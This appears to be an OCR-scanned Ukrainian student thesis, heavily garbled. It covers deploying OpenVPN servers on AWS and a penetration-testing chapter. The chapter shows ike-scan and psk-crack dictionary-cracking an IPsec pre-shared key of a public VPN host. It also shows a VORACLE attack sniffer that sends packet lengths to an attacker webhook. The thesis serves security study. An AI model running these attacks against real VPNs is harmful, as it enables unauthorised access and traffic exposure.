TurnKey

GNU/Linux (2)
Cloud Infrastructure
Services (2)

OpenVPN Access Server delivers the enterprise VPN your business has been Looking for. Protect your data communications, secure loT resources, and provide encrypted remote
access to on-premise, hybrid, and public cloud resources, Access Server provides you with a powerful and easy-to-use web-based a...

VN Anan\IDN Arrace Caruar (7 Cannartad Novirac) I

PHéYHOK 2.32 — JlemoHCTpaIllisi BAOOPY MAIIIMHU 13 MaKPETY
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Name and tags info

Name

¥ Summary

Number of instances Info

1

OpenVPN Server #1

| Add additional tags

v Application and OS Images (Amazon Machine Image) info
An AMI is a template that contains the software configuration {operating system, application server, and applications) required to
launch your instance. Search or Browse for AMIs if you don't see what you are looking for below

AMI from catalog Quick Start

Amazon Machine Image (AMI)

OpenVPN Access Server Community Image-fe8020db-5343-4c43-9e65-
Sed4a825c931-ami-06585f7cf2fb8855¢.4
ami-029cb972e1b8adbca

Catalog Published Architecture Virtualization
AWS 2020-07- x86_64 hvm
Marketplace 31T17:51:17.0

AMIs 00z

If you have an existing license entitlement to use this
subscription. If you do not have an existing entitle:
agree that your use of this software is subject to t

ftware, then you can launch this software without creating a new
re, you will be subscribed to this software and
pricing terms and the seller's End User License Agrees

Software Image (AMI)

OpenVPN Access Server
972e1bBadbca

ami-C

Virtual server type (instance type)

t2.small

Firewall (security group)

New security group

Storage (volumes)

1 volume(s) - 8 GiB

(@) Free tiers I your first year includes 750 X
Q hours of t2.micro {or t3.micro in the
Regions in which t2.micro is unavailable)
Browse more AMIs instance usage on free tier AMs per
AMIs from month, 30 GiB of EBS storage, 2 million
lace and 10s, 1 GB of snapshots, and 100 GB of

Includin
AWS,

the Community bandwidth to the internet
Root device ENA Enabled
type
e Yes
ebs

Cancel m

]

Pucynok 2.33 — JlemoHCTpallist HaJaITyBaHHS

EC2 Instances Launch an instance

Launching instance

Please wait while we launch your instance.

Do not close your browser while this is loading.

) Subscribing to Marketplace AMI

P Details

Pucynox 2.34 — JlemoHcTpallis CTBOpEHHS

Instance state

@ fuming @A

Select an instance

¥ Network & Security

Instance type Status check Alarm status Availability Zone Public IPv4 DNS Public IPvd

t2micro @22 checks passed Noalarms +  ap-south-Ta

Pucynox 2.35 — JlemoHCTpaIllisi CTBOPEHOT MAIIMHA

Kobununcoxuit B

Kpyuuncokuu A.T

3mn.

Apk. Ne doxym. Iionuc | Jama

KIK.KP.6 —-125-08 - 13

Apx.

49




¥ Images

¥ Elastic Block Store

¥ Network & Security

Pucynok 2.36 — JleMoHCTpallisi CTBOPEHHS KIt04ya

Ha puc 2.37 6yno cTBOpEHO KJIIOY JUIsl YCHIIIHOTO MIAKIIOUEHHS 3a AormomMororw SSH

B & @ tmmiv

Elastic IP addresses (2) c Actions ¥ m

Q 1 @
L Name Allocated IPv4 add... Type Allocation ID Reverse DNS recard Associated instance ID Private IP address
3 2.212.144 Public IP eipalloc-Odef450449a60b%ch - -067a4c39859 o2 172.31.35.159
Public 1P cipalloc-0d73¢bBcSEb1GETCS
Mis
I C log
¥ Network & Securit
o 5 E®

the new Unified Settings [} ©2022, Amazon Web Services, Inc. or its affliates.  Privacy  Terms  Cookie preferences

Pucynok 2.37 — JleMoHCTpallis CTBOpeHHs cTatuyHoro |P

Ha puc 2.38 6ynio cTBopeHo cTaTuyHUH aiimi aapec 1 nmos'si3aHo 3 OpenVPN ceprepom
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o000 B Desktop — -zsh — 123x55

Do you wish to login to the Admin UI as "openvpn"?
> Press ENTER for default [yes]:

> Please specify your Activation key (or leave blank to specify later):

Initializing OpenVPN. ..

Removing Cluster Admin user login...
userdel "admin_c"

Adding new user login

useradd -s /sbin/nologin "openvpn®
Writing as configuration file...
Perform sa init...

Wiping any previous userdb

Creating default profile...
Modifying default profily

Adding new user to userdb.

Modifying new user as superuser in userdb...
Getting hostname...

Hostname: 13.232.212.144

Preparing web certificates...
Getting web user account...

Adding web group account...

Adding web group...

Adjusting license directory ownership...
Initializing confdb...

Generating PAM config...

Enabling service

Starting openvpnas...

NOTE: Your system clock must be correct for OpenVPN Access Server
to perform correctly. Please ensure that your time and date
are correct on this system

Initial Configuration Complete!

You can now continue configuring OpenVPN Access Server by
directing your Web browser to this URL:

https://13.232.212.144:943/admin
Login as "openvpn" with the same password used to authenticate
to this UNIX host.

During normal operation, OpenVPN AS can be accessed via these URLs:
Admin UI: https://13.232.212.144:943/admin
Client UI: https://13.232.212.144:943/

See the Release Notes for this release at:
https://openvpn.net/vpn-server-resources/release-notes/

Please login as the user "openvpnas" rather than the user "root".

Connection to ec2-13-232-212-144.ap-south-1.compute.amazonaws.com closed.
kobylynskyiv@Vadims-MacBook-Air Desktop %

Pucynok 2.38 — JlemoHcTpartis miakiarodeHHs ta posropranas OpenVPN Access Server

(<N W Desktop — ssh -i key.pem openvpnas@ec2-13-232-212-144.ap-south-1.compute.amazonaws.com — 123x55

games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
:/var/spool/lpd:/usr/sbin/nologin
:mail:/var/mail:/usr/sbin/nologin

10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
usr/sbin/nologin

gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
6553, 5534:nobody: /nonexistent:/usr/sbin/nologin
etwork:x:10 @2:systemd Network Management,,,:/run/systemd/netif:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd/resolve:/usr/sbin/nologin
home/syslog:/usr/sbin/nologin
nonexistent:/usr/sbin/nologin
nonexistent:/usr/sbin/nologin
/var/1ib/1xd/:/bin/false
uuidd:x:106:110::/run/uuidd:/usr/sbin/nologin
dnsmasq:x:107:65534:dnsmasq, , , :/var/lib/misc:/usr/sbin/nologin
:/var/lib/landscape:/usr/sbin/nologin
run/sshd:/usr/sbin/nologin
pollinate: 10:1::/var/cache/pollinate:/bin/false
openvpn_as:x:1002:1002::/home/openvpn_as:/sbin/nologin
buntu:/home/openvpnas:/bin/bash
11004: :/home/openvpn:/sbin/nologin
openvpnas@Pip-172-31-35-159:~$ cat /sbin/nologin
cat: /sbin/nologin: No such file or directory
openvpnas@Pip-172-31-35-159:~% cd ..
openvpnas@Pip-172-31-35-159:/home$ 1s
openvpnas
openvpnas@Pip-172-31-35-159:/home$ cd openvpnas/
openvpnas@Pip-172-31-35-159:~$ 1s
openvpnas@Pip-172-31-35-159:~$ cd
openvpnasPip-172-31-35-159:/home$ cd
openvpnas@Pip-172-31-35-159:/$ 1s
bin dev home initrd.img.old 1libé4 media opt root sbin srv tmp var
boot etc initrd.img 1ib lost+found mnt proc run snap sys usr vmlinuz
openvpnas@ip-172-31-35-159:/$ cd home/openvpnas/
openvpnas@Pip-172-31-35-159:~$ 1s
openvpnas@ip-172-31-35-159:~$ cd ..
openvpnas@Pip-172-31-35-159:/home$ 1s
openvpnas
openvpnasPip-172-31-35-159:/home$ passwd openvpn
passwd: You may not view or modify password information for openvpn.
openvpnas@Pip-172-31-35-159:/home$ cd
openvpnas@Pip-172-31-35-159:/$ passwd openvpn
passwd: You may not view or modify password information for openvpn.
openvpnas@Pip-172-31-35-159:/$ sudo su
root@ip-172-31-35-159:/# passwd openvpn
Enter new UNIX password:
Retype new UNIX password:
passwd: password updated successfully
root@ip-172-31-35-159:/# |

vmlinuz.old

Pucynox 2.39 — JlemoHcCTpallis 3MiHU TapOJIsi KOPUCTyBada
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(3) OPENVPN

Access Server
User Login

® Username

L Password

Pucynok 2.40 — JlemoHcTpallis 3aX0/1y B aIMIHKY

N VPN Activation Manager

Access Server

Get Activation Key™
staTus

2 VPH cannections allowed

USER MANAGEMENT

AUTHENTICATION

Tools

DOCUMENTATION

SUPPORT

[ Logout

Pucynok 2.41 — JlemoHCTpallisi MEHIO

Enter credentials

Profile: 13232 212.144/Dynamic
[bundled]

Usermame

openvpn

Password

Kobununcoxuii B Apx.
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Pucynok 2.42 — JleMoHcTpalist MiIKIIOYEHHS 0 cepBepa

Current Users

Sedrch:
Bytes
Common Sent Connection
Name Real Address VPN Address Received Duration Block
openvpn 194.44.56.240:58631 172272322 1.88KB 0:00:20
3.16KB

Pucynok 2.43 — Pe3ynbpTat miKIIOYEHHS 10 CEPBEPY

Posroprannas OpenVPN Cloud AWS

Review test

ity
Step 1: Specify template Edit
fy stack
Template
Configure stack options B Termplate URL
t1ps://53-eu-wesi-1 amazonawrs.com/ci-templates-+2pajjigaxD-eu-west-1/2022144BY5-aws_cloud_formation jso
Review "

i conector template

Step 2: Specify stack details Edit

Parameters (7]

Q @
Key a Value v
Encrypted false
InstanceName rest

CloudFormation X CloudFarmation
- o test123 Dalete Update stack actions | [ Create stack v
S S S p—
" petive v | € Viewnested -
Expor ! Events (14) c
test123 L] Q @
© CREATE_COMPLETE e Logical 1D T T
@ cren -
(© CREATE_IN_f Res Initiat
InstancePrafile (© CREATE_COMPLETE
Feednack InstanceProfile @ CrEX Resource creation Initiated
035038 UTC 10300 nstancePrafile @ cren
03:50:36 UTC+0300 RouteManagerRole © crEAT
05-24 03:50:24 UTCH0300 Instance: ©cre 1 -
20, 03:50:23 UTC+0300 @ CREATE_IN_P Rest
4 03:50:18 UTC+0300 @ CREATE_IN_f
ETE 4 AT-EA1R LITEAOZAN DeusablananadDala /M roEATE M ODACDETS Dacouisra craation Laisiatad I
Pucynok 2.45 — JlemoHcTpallis ycmimHoro posropranus template
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[ [ C [
kot
) OpenVPN Cloud

Status © 8
~ Status
A Users v Capacity Networks Users

Active Networks 1 of1
L Networks
Active

o Active 4 3 Active Connectors 1 of 1 Uders 0 of1

Connections
Access

Subscription Limit Exceeded 0
" Hosts
@ Shield

Active Hosts 0 of 0 AL o
Transferred of 0
© Settings 75.61« Devices
Active Connectors 0 of 0
E Documentation
O Support Center
VPN Connections
Subscription Limit Exceeded Certificate Revoked Suspended By Admin Session Expired Misc Error
0 1 0 0 0

Filters - Time Period: Last 24 hours ™

PﬁcyHOK 2.46 — I[éMOHCTpauiﬂ MEHIO

Profiles

CONNECTED

pl-waw.gw.openvpn.com
connectoro1_warsaw]

DISCONNECTED v

CONNECTION STATS

3.8KB/s

0B/s

348B/S 'r 537B/S

+

00:00:05 0 secago

Pucynox 2.47 — JlemoHCTpaIlis MiIKJIFOYESHHS 10 CepBepa
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Ha puc 2.45 BuaHO migkiatoueHHs Oyj10 BUKOHAHO YCITIIIHO 1 11€ 03HAYa€ 1110 cepBep

mparroe 100pe

1.6 BucHoBKHM 3 po3aiiy

B mpomMy po3nisii Oyiia JocAarHyTa MiIb CTBOPEHHS CEpBEpa Ta KIIIEHTAa HA OCHOBI1

npotokosry OpenVPN. Byio po3ropHyTo B 06arli AeKijibka BapiaHTiB rotopux Open-

VPN cepBepiB. Ha ocHOBI oTprMaHUX 3HaHb, MOPIBHIOEMO 111 JIBa BapiaHTH.

Tabmuns 2.1 — IopiBusinus VPN pimens

OpenVPN Acess Server OpenVPN Cloud
CnoHICTh pO3ropTaHHS Jlerko Jly>ke Jerko
KinpkicTh miakiItoYeHHs 2 3
MacmtabyBaHHs 3aMOBHHUK OpenVPN Inc.
Syslog Tax Hi
KepyBanns tpagik Hi Tak
CepBepHa Tak Hi
1H(}pakcTpyKTYypa
[TinTpumka Unix cucremu Ta Windows/MacQOs ta Unix
BIpTyaJIbHI MPUCTPOL CHUCTEMU

Kobununcoxuit B

Kpyuuncokuu A.T
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PO31JI 3 BAXUCT TA ATAKU HA BIPTYAJIBHY [IPUBATHY MEPEXY

3.1 [Ipouec nmomykKy A0AaTKY Ha BPa3JMBOCTi

Analysis and WAF configuration Planning and reconnaissance
Results are used to configure WAF Test goals are defined and intelligence

settings before testing is run again. is gathered.

PENETRATION

Maintaining access TESTING STAGES Scanning
APTs are imitated to see if a vulnerability Scanning tools are used to understand

can be used to maintain access. how a target responds to intrusions.

©

Gaining access
Web application attacks are staged to
uncover a target’s vuinerabilities.

Pucynok 3.1 — IIpouecc TectyBaHHsI Ha IPOHUKHEHHS

Jnst movaTky poOOTH MOTPIOHO MpoaHali3yBaTh MEPEKY Ha HAUOLIbII B1IOMI
Bpa3nuBOCTI B poTokoii VPN. Mu 6y1eMo KOpUCTyBaTHUCS paHille 3raaHuM
MOOUTFHUM JIOAATKOM JIJIs CTBOPEHHS TyHeNtoBaHHs. TecTyBaTu Oynemo:

e IpSecVPN — mae Baam, a came mpobaema ¢ PSK

e Araxka nocepenuni abo VORACLE ATTACK

e TecTyBaHHS 3a JOTIOMOTOI0 CTOPOHHIX IHCTPYMEHTIB

/ Infrastructure \ \

Assessment -

/  Web App \ "/ Mobile App
_ Assessment Assessment /
Penetration
Testing
WiFi O\ /  social
Assessment Engineering
/ PCI/HKMA/SFC
\, Compliance /

Pucynok 3.2 — [Ipouiec TeCTyBaHHS CKJIQAA€THCS 3 TAKUX €JIEMEHTIB
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3.2 TectyBanHsl Ha IpoHuKHeHHs1 |psecVPN

o6 mepeBiputu HasiBHICTH 1UTI03Y IPSECVPN, Tpeba BUKOHATH CKaHYBaHHS
MapuipyTy. bunbmricTs peam3aniii [pSec 6yayTs ocHoBaHi Ha ISAKMP — 11e mpoToko:n
OoOMiHy KJTFOUaMH Ha PiBHI JOATKIB, IKWI Ha/la€ MEXaHI3MH JIJIs1 BCTAHOBJICHHS
coTJlacyBaHHS, 3MiHH, BUJajaeHHs acomialii 6e3neku. ISAKMP BukopucToBye nopt
UDP 500. ToMmy HacTymHOO KOMaH010 MOTPIOHO 3pOOUTH CKaHYBaHHS Ta

inerTudikamito o3y VPN.

KomangHan cTpoka

osoft Windows [Version 18.8.19844.1786]
KopnopauuAa Makkpocodt (Microsoft Corporation). Bce npaeEa ZawMueHbl .

can report
s up (@.2
~ecord for ). 180 . 3 2: vpngate.vd_open.ad.jp

STATE SERVICE
p open  isakmp

Nmap done: 1 IP addre (1 h D) 7.99 seconds

C:\Users\kobyl>

Pucynok 3.3 — JlemoHcTpallisi BUKOHaHHS CKaHYBaHHS MTOPTIB
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kali@kali: ~
File Actions Edit View Help

ttl=47 time=252 ms
€
.opengw.net ping statistics —
3 received, 0% packet loss,
= 252.304/281.500/324

File System

Starting ike-scan 1.9.5 with 1 hosts (http: .nta-monitor.com/tools/ike-scan/)
s 219.100.37.12 Aggressive Mode Handshake returned
HDR=( CKY-R=013d4dc7d3a74454
SA=(Enc=3DES Hash=SHA1 Auth=PSK Group=2:modp1024 LifeType=Seconds LifeDuration=2
8800)
KeyExchange(128 bytes)
Nonce(16 bytes
ID(Type=ID_IPV4_ADDR, Value=219.100.37.12)
Hash(20 bytes)
VI 131c81070358455c5728f20e95452f (RFC
VID=7d9419a65310ca6f2c179d9215529d56 (draft
VID=90cb80913ebb696e086381b5ec427b1f (draft
VID=cd6 df21f87cfdb2fc68b6ass8 (draft
VID=4485152d18b6bbcd@be8as: 9ddcc (draft -ipsec-nat-t-ike-00)
VID=afcad71368a1f1c96b8696fc77570100 (Dead Peer Detection v1.0)

58da89d98c310cf3fast8a529337edd0s1
48c4cb2b57dc73f196dde2aebaab050e205
7 73a7e6e395d1df543bb6ebesBabe22ee: 0 dc7d3a744
1096030028 3:00000001000000010000009801010004030000240101000080010005800200028003
000180040002800b0001000c000400007080030000240201000080010005800200018003000180040002800b

00180040002800b0001000c000400007030:01000000db6
000bc :9e87d0fcaet727c54432a1b027024ad6: e841ckss
93684daa8616f52630ddfass
Ending ike-scan 1.9.5: 1 hosts scanned in 0.499 seconds (2.00@ hosts/sec). 1 returned ha
ndshake; @ returned notify

Pucynok 3.4 — JleMoHcTpallisi BUKOHAHHS CKaHyBaHHS

SAx Bu MoxeTe 6aunTty Ha puc 3.4 € mose i Ha3Boro AUTH 3i 3Hauennsm PSK . 1le
O3Hauae, 110 VPN HAIAIITOBYETHCS 32 IOIIOMOTOIO TMOMEPEIHRO CIUIBHOTO KITH0Ya.

3HaueHHS OCTaHHBOT'O pAaKa TaKOK OYKE BAKIIUBC!

« 1 3BOpoTHE pyKOocTHCKaHHs; 0 TOBEPHYTO CIIOBIIICHHS: II€ O3HAYAE, IO IiTh
HanamToBaHa /g IPSec 1 rotoBa BukoHatu y3romxkenns IKE, 1 onne abo kinpka

3aIPOINIOHOBAHUX BaMH MEPETBOPEHD € MPUINHATHUMM.

[lep Hixk 31aMaTH 3aXOIUICHUM PAIOK ayTeHTH (KLl XeITyBaHHS B aBTOHOMHOMY
pexuMi, Bipenaryiite BUXiiHui Qaitsi, mo0 yBIMKHYTH JuIIe Xenl-3HayeHHs. (Bin

MOBUHEH BKIIFOYATH TITLKH 9 3HaU€Hb, PO3AUICHUX ABOKpankoro.) [lIkinmuse

Kobununcoxuii B Apk.
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HaBaHTaXEHHS BUKOHYEThCS 3a qonomororo psk crack (puc. ?), sika miaTpumye 3710M

CJIOBHHKA TIEpeOopoM

> kali@kali: ~
File Actions Edit View Help

Started: Wed Jun 15:16:09 2022
Stopped: Wed Jun 15:16:09 2022

— [~

example.dict

rockyou.txt 192-168-207-134key
Starting psk-crack [ike-scan 1.9.5] (http://wwmw.nta-monitor.com/tools/ike-scan/)
Running in dictionary cracking mode
no match found for SHA1 hash 27a0f460b7d2b38550914f1bf0ea49d1989fbbc8
Ending psk-crack: 14344876 iterations in 32.215 seconds (445279.12 iterations/sec)

[~

rockyou.tit

nano: malloc.c:2539: sysmalloc: Assertion “(old_top = initial_top (av) & old_size =
@) || ((unsigned long) (old_size) = MINSIZE & prev_inuse (old_top) & ((unsigned
ng) old_end & (pagesize - 1)) = 0)' failed.

nano: malloc.c:2539: sysmalloc: Assertion “(old_top = initial_top (av) & old_size =
@) || ((unsigned long) (old_size) = MINSIZE & prev_inuse (old_top) & ((unsigned
ng) old_end & (pagesize - 1)) = 0)' failed.

zsh: IOT instruction nano rockyou.txt

[~

test.txt

test.txt 192-168-207- 134key
Staxtlng psk-crack [ike-scan 1.9.5] (http://ww.nta-monitor.com/tools/ike-scan/)
Running in dictionary cracking mode
key "vpn" matches SHA1l hash 27a0f460b7d2b38550914f1bf0eas9d1989fbbc8
Ending psk-crack: 2 iterations in ©0.002 seconds (990.59 iterations/sec)

Pucynok 3.5 — JlemoHcTpaitiist mepedopy napoJis

Takum ynHOM, 11103 VPN cKOH]IrypoBaHHii 3a JOMOMOTOIO MPOCTOTO BIAKPUTOTO

KJIro4ua vpn.

Komnpomeryrouu ceppep nuito3y VPN, 3T0BMUCHUK MOKE OTPUMATH

JIOCTYTI JI0 IIHHUX BHYTPIIIHIX PECYpCiB, TOMY OpraHi3aIlisiM HeoOXiTHO

nepexoHaiTecs, mo VPN-1u103u 3axuilieHi Bia uux 3arpo3. O1iHKa Bpa3JiuBOCTI Ta

TECTyBaHHS MPOHUKHEHHA VPN-1u1I03y nopsij 3 NepioguyHIMU

nepeBipKaMy HAJAIITOBAHKUX MOMITUK OE€3MEKH MOXYTh JIOMMOMOTTH OpTraHi3ailisiM

MOCUJIUTH 3arajibHy Oe3MeKy.

Kobununcoxuit B
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3.3 VORACLE Attack

Attack Setup

Trusted VPN with Compression

Vuinerable Browser

T
& Gan Send Gross
o 5 Do
N e
— v

—
Injected Ads, ~
Malicous Blogs,
ate.

attackercom Attacker

Pucynok 3.6 — JlemoHcTpariis mepexBaty jaHux 3a gornomororo Voracle ATTACK

Bceranosinenns OpenVVPN3 Client on Kali Linux

= kali@kali: ~/Desktop/voracle-master
File Actions Edit View Help

|-[~/Desktop/voracle-master]
sudo install g+ make Llibmbedtls-dev libssl-dev liblzi-dev cmake
Reading package lists ... Done
Building dependency tree ... Done
Reading state information ... Done
g++ 1s already the newest version (4:11.2.8-2).
g+ set to manually installed.
liblz4-dev is already the newest version (1.9.3-2).
liblz4-dev set to manually installed.
libssl-dev is already the newest version (1.1.10-1).
libssl-dev set to manually installed.
make is already the newest versiom (4.3-4.1).
make set to manually installed.
The following additional packages will be installed:
cmake-data dh-elpa-helper libjsoncpp25 libmbedcrypto7? libmbedtlsl4
libmbedx589-1 librhasha
Suggested packages:
cmake-doc ninja-build cmake-format Libmbedtls-doc
The following NEW packages will be installed:
cmake cmake-data dh-elpa-helper libjsoncpp25 libmbedcrypto?
libmbedtls-dev libmbedtlsl4d 1ibmbedx5@89-1 Librhash®
@ upgraded, 9 newly installed, @ to remove and 428 not upgraded.
Meed to get 11.6 MB of archives.
After this operation, 43.5 MB of additiomal disk space will be used.
Do you want to continue? [Y/n] y

Pucynok 3.7 — Jlemonctpariist BcranosneHuast SSL library
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b

kali@kali: ~/O3

File Actions Edit View Help

Setting up libmbedtlsl4:amdés (2.28.08-2)
Setting up libmbedtls-dev:amd64 (2.28.8-2)
Setting up cmake (3.23.2-1)

Processing triggers for libc-bin (2.33-6)
Processing triggers for man-db (2.10.2-1)
Processing triggers for kali-menu (2022.2.0)

- [~/Desktop/voracle-master]
—¢ Bl 200-export 03=~/03 $03~
zsh: bad pattern: “[[2@@0~export

- ~/Desktop/voracle-master]
03=~/03 303

-[~/Desktop/voracle-master]
DEP_DIR-=-%03/deps $DEP_DIR

|-[~/Desktop/voracle-master]
DL=$03/d1 $DL

- ~/Desktop/voracle-master]

[~/03]
clone https://github.com/OpenVPN/openvpn3.git core

Cloning into 'core’ ...

remote: Enumerating objects: 38119, done.

Pucynox 3.8 — JlemoncTpariist BcranoBiaeHHs: OpenVPN3

k.

kali@kali: ~/O3/corefscriptsflinux

File Actions Edit View Help

CC pkcsi12.c

cc pkcss.c

CC pkparse.c

CE pkwrite.c

CcC platform.c

CcC ripemdled.c

cC rsa_internal.c

cC rsa.c

CC shal.c

ccC sha256.c

CcC sha512.c

cC threading.c

cC timing.c

cC version.c

cc version_features.c
CcC xtea.c

LD libmbedcrypto.so.2
LN libmbedcrypto.so —» libmbedcrypto.so.2
cC certs.c

CcC pkcsll.c

CC X509 .cC

cC X509 _create.c

CC x509 crl.c

CcC X509 _crt.c

cC X509_cCsr.cC

CC ®x509write_crt.c

Pucynok 3.9 — JIeMoHCTpallisi TpOI0BKEHHS BCTAHOBJICHHS
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kali@kali: ~/O3/core/build

File Actions Edit View Help

Performing Test CMAKE_HAVE_LIBC_PTHREAD - Failed

Looking for pthread_create in pthreads

Looking for pthread_create in pthreads - not found

Looking for pthread_create in pthread

Looking for pthread_create in pthread - found

Found Threads: TRUE
lzo not found, skipping lzo compression tests
— Found LZ4: /home/kali/03/deps/lz4/1lz4-1inux/1ib/liblz4.a
— Found OpenSSL: /usr/lib/x86_64-1linux-gnu/libcrypto.so (found version
10")

Configuring done

Generating done

Build files have been written to: /home/kali/03/core/build

~/03/core/build

Linking CXX static library ../../../../lib/libgtest.a
Built target gtest

Liﬁking CXX static library wl/ o/ o/ .. /lib/libgtest_main.a
Built target gtest_main

Pucynox 3.10 — [IlemoHcTpariist 360py core

¥

kali@kali: ~/O3/core/build
File Actions Edit View Help

lzo not found, skipping lzo compression tests
-— Found mbedTL5S:
= version 2.7.19
TLS: /home/kali/03/deps/mbedtls/mbedtls-linux/library/Llibmbedtls.
X509: fusr/lib/x86_64-1inux-gnu/libmbedx589.s0
Crypto: /fusr/lib/x86_64-linux-gnu/libmbedcrypto.so
Found mbedTLS:
version 2.7.19
TLS: /home/kali/03/deps/mbedtls/mbedtls-1linux/1library/libmbedtls.
X509: fusr/lib/x86_64-linux-gnu/libmbedx5@9.s0
Crypto: fusr/lib/x86_64-1linux-gnu/libmbedcrypto.so
Found mbedTLS:
version 2.7.19
TLS: /home/kali/03/deps/mbedtls/mbedtls-linux/library/Llibmbedtls.
X509: fusr/lib/x86_64-1inux-gnu/libmbedx5@9.s0
Crypto: /Jusr/lib/x86_64-linux-gnu/libmbedcrypto.so
Found mbedTL5S:
version 2.7.19
TLS: /home/kali/03/deps/mbedtls/mbedtls-linux/library/libmbedtls.
X509: Jusr/lib/x86_64-1linux-gnu/libmbedx589.s0
Crypto: fusr/lib/x86_64-1inux-gnu/libmbedcrypto.so
Configuring done
Generating done
Build files have been written to: /home/kali/03/core/build

-[~/03/core/build]

Pucynok 3.11 — JleMoHCTpallis TOTOBO pe3yJIbTaTy
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File Actions Edit View Help
= Crypto: /usr/1lib/x86_64-1inux-gnu/libmbedcrypto.so
' - Found mbedTLS:
File System —  version 2.7.19
TLS: /home/kali/03/deps/mbedtls/mbedtls-linux/library/libmbedtls.a
X509: /usr/lib/x86_64-1linux-gnu/libmbedx509.s0
Crypto: /usr/lib/x86_64-1inux-gnu/libmbedcrypto.so
P -— Found mbedTLS:
= version 2.7.19
P ~[Desktopltest/password - Mousepad
File Edit Search View Document Help
Dt HhC x oc m o QR

1 vpn

aces
2 vpn
Computer 3|
kali

Desktop password vpngate.ovpn

Trash
Documents
2l Music
Pictures
Videos

Downloads

File System
etwork

[_J Browse Network

B0 k@ e B TS & rontcontol
Pucynox 3.12 — JlemoHcTpaliist 1ogaBaHHs OVPN dainy

k.

kali@kali: ~/O3/corefbuild

File Actions Edit View Help

Fri Jum 1@ @6:12:47.682 2822 net_route_add: 128.0.0.8/1 via 10.233.202.2 dev
tun table @ metric @
Fri Jum 1@ ©6:12:47.683 2022 Fri Jum 1@ ©06:12:47.683 2022 tun opened
Fri Jun 18 86:12:47.683 2022 Connected via tun
Fri Jun 1@ ©6:12:47.683 2022 Client exception in transport_recv: crypto_alg:
AES-128-CBC: bad cipher for data channel use
Fri Jun 1@ ©06:12:47.684 2822 Client terminated, restarting in 200@ ms ...
Fri Jum 1@ 06:12:47.684 2022 net_route_del: 128.0.0.8/1 via 10.233.202.2 dev
tun table @ metric @
Fri Jum 1@ @6:12:47.684 2022 net_route_del: 9.0.0.8/1 via 10.233.282.2 dev tu
n table @ metric @
Fri Jum 1@ 06:12:47.684 2022 net_route_del: 219.100.37.12/32 via 10.0.2.2 dev
eth® table @ metric @
Fri Jum 1@ 86:12:47.685 2022 net_addr_del: 10.233.282.1/38 dev tun
Fri Jun 18 ®6:12:47.685 2022 net_iface_mtu_set: mtu 1588 for tun
Fri Junm 1@ ®6:12:47.685 2022 net_iface_up: set tun down
Fri Jun 10 @6:12:47.686 2022 "“Creceived stop signal 2
Fri Jum 18 86:12:49.884 2022 EVENT: DISCONNECTED
Thread finished
STATS:
BYTES_IN : 6855
BYTES_OUT : 2188
PACKETS_TIN : 18
PACKETS_OUT : 11

~/03/core/build
~/Desktop/test/vpngate.ovpn ||

Pucynoxk 3.13 — JlemoHCTpallis iIKJIFOYCHHS
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-] kali@kali: ~/Desktop/test
File Actions Edit View Help

kal...ild X kali@kali: ~...aster/attack X kali@ka...-master X kal...est X

TX packets 57555 bytes 7258808 (6.9 MiB)
TX errors ® dropped @ overruns @ carrier ® collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
inet 127.0.0.1 netmask 255.0.0.0
inet6 ::1 prefixlen 128 scopeid 0x10<host>
loop txqueuelen 1000 (Local Loopback)
RX packets 1191 bytes 273047 (266.6 KiB)
RX errors @ dropped @ overruns @ frame 0
TX packets 1191 bytes 273047 (266.6 KiB)
TX errors ® dropped @ overruns @ carrier ® collisions @

tun: flags=4305<UP,POINTOPOINT,RUNNING,NOARP,MULTICAST> mtu 1500

inet 10.233.102.53 netmask 255.255.255.252 destination 10.233.102.5
3

inet6 fe80::b797:6a81:f2ad:d31c prefixlen 64 scopeid 0x20<link>

unspec 00-00-00-00-00-00-00-00-00-00-00-00-00-00-00-00 txqueuelen 20
® (UNSPEC)

RX packets @ bytes 0 (0.0 B)

RX errors @ dropped @ overruns @ frame 0

TX packets 24 bytes 3032 (2.9 KiB)

TX errors ® dropped @ overruns @ carrier @ collisions 0

[~/Desktop/test

Pucynok 3.14 — JleMoHcTpallisi CTBOPEHHS TYHEILTIO

k.

kali@kali: ~[Desktop/veracle-masterfattack
File Actions Edit View Help
kali@...build X kali@kali: ~/D...-master/attack X kali@kali: ...acle-master X

GNU nano 6
(pkt):

is_packet(pkt, settings['payload_min_length'], Settings['payload_ﬂ
length = len(pkt[proto].payload)

print(length)

send_data(length)

IndexError:

(length):

requests.get(str(settings['attacker_webhook'])} + str(length))
requests.exceptions.ConnectionError:

sniff(filter="udp"”, prn-packet_callback, store=@, iface="etho])

[ Wrote 46 lines ]
Write Out @ Where Is "K Bl Execute
Read File ] Replace BB Justify
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L}

kali@kali: ~/03/core/build
File Actions Edit View Help
kal...ild = kali@kali: ~...asterfattack X kali@ka...-master X kal...est X

Exclude Routes:

DNS Servers:
18.233.254.254
8.8.8.8

Search Domains:

Fri Jun 18 @7:59:00.943 2022 net_route_best_gw query IPv4: 219.188.37.12/32
Fri Jun 18 @7:59:00.943 2022 sitnl_route_best_gw result: via 10.0.2.2 dev eth

@

Fri Jum 18 ©7:59:00.943 2022 net_iface_mtu_set: mtu 1588 for tun

Fri Jum 18 ©7:59:00.943 2022 net_iface_up: set tunm up

Fri Jum 108 ©7:59:00.943 2022 net_addr_add: 19.233.36.285/30 brd 1©.233.36.207
dev tun

Fri Jun 1@ 87:59:00.944 2022 net_route_add: 219.100.37.12/32 via 10.0.2.2 dev
eth® table @ metric @

Fri Jum 1@ @7:59:80.944 2022 net_route_add: @.0.0.8/1 via 18.233.36.206 dev t
un table @ metric @

Fri Jum 1@ @7:59:80.944 2022 net_route_add: 128.0.0.8/1 via 10.233.36.206 dev
tun table @ metric @

Fri Jum 1@ @7:59:@0.944 2022 Fri Jum 1@ 87:59:80.944 2022 tun opened

Fri Jum 1@ @7:59:80.944 2022 Connected via tum

Fri Jun 18 @7:59:00.945 2022 mssfix=1483 (upper bound=1492, overhead=49, payl
oad_overhead=48, target=1443)

Fri Jum 1@ ©7:59:00.945 2022 EVENT: CONNECTED 219.108.37.12:1195 (219.100.37.
